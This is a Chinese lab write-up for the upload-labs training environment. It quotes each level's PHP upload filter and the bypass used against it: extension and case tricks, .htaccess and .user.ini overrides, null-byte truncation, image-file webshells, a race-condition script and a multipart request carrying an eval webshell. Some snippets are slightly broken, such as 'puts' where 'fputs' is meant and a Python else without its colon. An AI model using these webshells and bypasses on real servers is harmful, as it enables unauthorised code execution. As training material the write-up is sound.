pass-01

前端 js 过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function checkFile() {
var file = document.getElementsByName("upload_file")[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg =
"该文件不允许上传,请上传" +
allow_ext +
"类型的文件,当前文件类型为:" +
ext_name;
alert(errMsg);
return false;
}
}

最简单的

burp 抓包改后缀

pass-02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

用 if 函数结合$_FILES['myfile']['type']判断 MIME 类型

后端改 content-type

application/octect-stream变为image/jpeg、image/png或image/gif

pass-03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

他经过了许多步

但其实他只匹配了$deny_ext = array('.asp','.aspx','.php','.jsp');

修改为 php1,php2,php3,php4,php5,phtml 等 与 php 解析相同的后缀皆可

pass-04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这回匹配的倒挺多

不过配置文件没过滤

上传.htaccess 文件

写入下面两句中的一句即可

第一句是全按 php 解析

第二句是将 jpg 按 php 解析

1
2
SetHandler application/x-httpd-php
AddType application/x-https-php .jpg

pass-05

和第 4 关类似

写入.user.ini 文件

1
auto_prepend_file=shell.jpg

再配合 shell

pass-06

这一关源码补上了之前漏网的配置文件

但是这里可以使用大小写绕过

例如.Php

pass-07

这里补了一句

1
$file_ext = strtolower($file_ext); //转换为小写

没法大小写绕过了

这里通过补空格来绕过

.php (空格)

pass-08

这里补了句首位去空

1
$file_ext = trim($file_ext); //首尾去空

这次用 . 绕过

.php.

和上面一样

后面的空格和 . 会被服务器自动删除

pass-09

这里补了

1
$file_name = deldot($file_name);//删除文件名末尾的点

比之前少了一句

1
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

使用

1
.php::$DATA

pass-10

这里补回了::$DATA 仔细看这里过滤的顺序

1
2
3
4
5
6
7
$deny_ext=array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

仔细看这里过滤的顺序

先去的点然后去的空

于是可以

.php. .

过滤后剩下

.php.

pass-11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里用 trim 函数删去通过$_FILES['upload_ext']['tmp_name']得到的浏览器通过报文传过来的在 burpsuite 中的变量名是 filename 的字符串左右两边的空格 这就省了几步过滤

但是下面这句

$file_name = str_ireplace($deny_ext,"", $file_name);

是匹配到黑名单后替换成空

于是这里可以双写绕过

.pphphp

pass-12

这次使用了白名单过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

讲一下 00 截断的原理,在服务器读到十六进制编码为 00 时就会停止读取,而 save_path 是通过 GET 传参的 00 的 GET 传参的数据最终都会经过 URL 解码而%00 解码之后就是十六进制对应的 00,这就导致 move_uploaded_file 函数会读到 00 就结束从而上传成功

.php%00

pass-13

代码和十二关一样,只是 save_path 改用 POST 传参了

burpsuite 自带的 16 进制编辑器改 16 进制

找到文件名后缀后面的 0 被改为 00

pass-14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function getReailFileType($filename){
$file = fopen($filename, "rb");//以只读 二进制方式打开
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);//从二进制字符串对数据进行解包
//'C2char'的意思是二进制文件类型是'unsigned char'转换为char类型最终返回值是一个数组。之后将数组返还给$strinfo函数。
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);//将$strinfo中的每一个元素转变为int型并且拼接输出给 $typeCode
$fileType = '';
switch($typeCode){//switch匹配
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

这里本质上是检验的文件头

只要做个文件头正确的图片 🐎 即可

pass-15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);//获取文件信息
$ext = image_type_to_extension($info[2]);//返回文件后缀
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

这里上传图片 🐎 即可

pass-16

1
$image_type = exif_imagetype($filename);

这里的函数替代 15 关的

1
2
$info = getimagesize($filename);//获取文件信息
$ext = image_type_to_extension($info[2]);//返回文件后缀

还是图片 🐎 即可

pass-17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

这里进行了许多步过滤

简单总结下主要的就是

  1. 对 gif、png 或 jpg 文件的格式进行二次渲染
  2. 根据上传的文件类型用 imagecreatefromgif 这一类的函数生成一个新的图片
  3. 将原本保存下的文件用 unlink 函数删除

据师傅说直接用 cmd 命令行 copy 的文件也能成功上传

也可以用 010editor 比较二次渲染前后的图片

蓝色的部分是未被改变的

可以在那里插入 🐎

pass-18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

这里过滤的挺充分的

不过黑客大佬们还是有方法

原理简单来说是

  1. 文件上传后到原文件被删除有一段时间
  2. 利用这段时间 重复发送写入木马的木马
  3. 然后不停访问原文件
  4. 访问成功后 木马也就被重新写入

写入木马的木马

1
<?php puts(fopen('shell.php','r+'),'<? @eval($_POST['shell']);?>');?>//发送的木马

重复发送利用 burp 实现

  1. 用 burpsuite 抓包
  2. 调用 intruder 模块
  3. 打开 payload 板块设置 payload type 为 null payloads
  4. 点击下方的 continue indefinitely

连续访问利用脚本实现

1
2
3
4
5
6
7
8
9
10
import requests
url = "http://ip/upload-labs/upload/shell.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("success")
break
else
print("200")

pass-19

这一关和上面很像

不过 python 连续访问的 url 要变成

1
127.0.0.1/upload-labs-master/include.php?file=upload/shell.jpg

pass-20

这关绕过方法用之前的.php.就可以

不过这关和之前有个很明显的区别

做了个保存名称的 input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//在这里

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

pass-21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
//explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
}

$ext = end($file);//end(array)函数,输出数组中的当前元素和最后一个元素的值。
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
//reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
//count(array)函数,计算数组中的单元数目,或对象中的属性个数
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
  1. 验证上传路径是否存在验证[‘upload_file’]的 content-type 是否合法(可以抓包修改)
  2. 判断 POST 参数是否为空定义$file 变量(关键:构造数组绕过下一步的判断)
  3. 判断 file 不是数组则使用 explode(‘.’, strtolower($file))对 file 进行切割,将 file 变为一个数组
  4. 判断数组最后一个元素是否合法
  5. 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名 file_name
  6. 上传文件

这里可以用 00 截断

也可以用数组绕过

post 包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-----------------------------131314876217456529963542266439
Content-Disposition: form-data; name="upload_file"; filename="yijuhua.php"
Content-Type: image/png

<?php @eval($_POST['hack']);?>
-----------------------------131314876217456529963542266439
Content-Disposition: form-data; name="save_name[0]"

upload-20.php
-----------------------------131314876217456529963542266439
Content-Disposition: form-data; name="save_name[2]"

jpg
-----------------------------131314876217456529963542266439
Content-Disposition: form-data; name="submit"

上传
-----------------------------131314876217456529963542266439--